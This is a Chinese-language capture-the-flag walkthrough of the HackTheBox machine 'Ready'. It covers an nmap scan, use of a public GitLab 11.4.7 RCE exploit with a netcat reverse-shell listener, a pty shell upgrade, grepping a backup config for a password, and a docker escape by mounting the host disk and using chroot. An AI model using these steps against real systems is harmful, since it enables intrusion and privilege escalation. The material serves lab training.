sudo vim /etc/hosts >> 10.10.10.220 ready.htb
sudo nmap -T4 -A ready.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-20 10:56 CST Warning: 10.10.10.220 giving up on port because retransmission cap hit (6). Nmap scan report for Ready.htb (10.10.10.220) Host is up (0.24s latency). Not shown: 976 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp filtered http 417/tcp filtered onmux 1071/tcp filtered bsquare-voip 1088/tcp filtered cplscrambler-al 1090/tcp filtered ff-fms 1443/tcp filtered ies-lm 2002/tcp filtered globe 2004/tcp filtered mailbox 2020/tcp filtered xinupageserver 2288/tcp filtered netml 2399/tcp filtered fmpro-fdal 2638/tcp filtered sybase 2800/tcp filtered acc-raid 3005/tcp filtered deslogin 5030/tcp filtered surfpass 5080/tcp open http nginx 5280/tcp filtered xmpp-bosh 6580/tcp filtered parsec-master 7512/tcp filtered unknown 9100/tcp filtered jetdirect 9111/tcp filtered DragonIDSConsole 20031/tcp filtered unknown 34571/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 230.75 seconds
选择很少只有5080端口,浏览器访问5080端口。
是一个自建的gitlab,注册一个账号,随便点一点看看有什么可用的信息,想到前段时间github企业版爆出的漏洞,推测这个靶机的漏洞就是gitlab的漏洞了,查看一下gitlab的版本。
版本是Edition 11.4.7,搜索引擎搜索gitlab 11.4.7 exp,果然有漏洞,github上面找一个最新的exp,运行一下,按照脚本给出的提示,再开一个控制台nc -lvnp 42069
nc连接成功之后,将shell改成terminal,不然有些命令无法执行。
python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
到/home目录下查看目录,dude
进入到dude目录下看到user.txt(user,flag)
读取成功之后需要提前才能拿到root.flag,但是linPEAS上传不上去,应该是git用户的权限太低导致的,那么这个靶机的提权思路应该是利用靶机本身的一些特性区提权,使用sudo -l也提示没有改文件,权限太小了,找一下看有没有利用的文件,脚本之类的,到根目录下看到了root_pass文件,应该是没有这么简单的,但是还是试了一下,cat读取显示了一串字符串,然后su root 输入字符串,显示验证错误,果然没这么简单呢。
在失去方向之后又重新温习了一遍linux基础知识后,opt是安装程序的目录,既然安装gitlab想来应该是有数据库一类的东西,看看能不能先把受限用户提权成为普通用户,到opt目录下看了一下,有两个文件夹 backup gitlab,既然有backup那就先看backup吧。
cd backup ls docker-compose.yml gitlab-secrets.json gitlab.rb cat gitlab.rb cat gitlab.rb | grep password
显示除了gitlab数据库之外还有docer-compose,估计是靶机的虚拟文件,查看了gitlab数据库文件之后,通过grep过滤,成功找到密码,但是没有用户名,直接用root吧,试试运气。
成功提权到root用户之后,到root目录下面居然没有root.flag,那么刚刚看到的docker文件就不是靶机的虚拟机文件,而是在靶机之中还有一个docker虚拟机,那不用说看来是需要进行docker逃逸了,网上找了几篇docker逃逸的帖子学习了之后,先确定是不是docker虚拟机,查看/proc/1/cgroup文件,看是否有docker字段。
确定了是docker虚拟机之后,使用最简单的越权读取文件方法去读取宿主机的root.flag本来应该还是需要判读是否为特权模式的,但是我没看懂怎么判断,无脑梭哈。
mkdir /test cd /dev ls mount /dev/sd2 /test chroot /test
挂载sd1的时候莫名的失败了,挂载sd2
成功之后在test目录下就是宿主机的根目录了,读取root目录中的root.flag。
PS:
gitlab CVE:https://github.com/dotPY-hax/gitlab_RCE
docker 逃逸:https://xz.aliyun.com/t/8558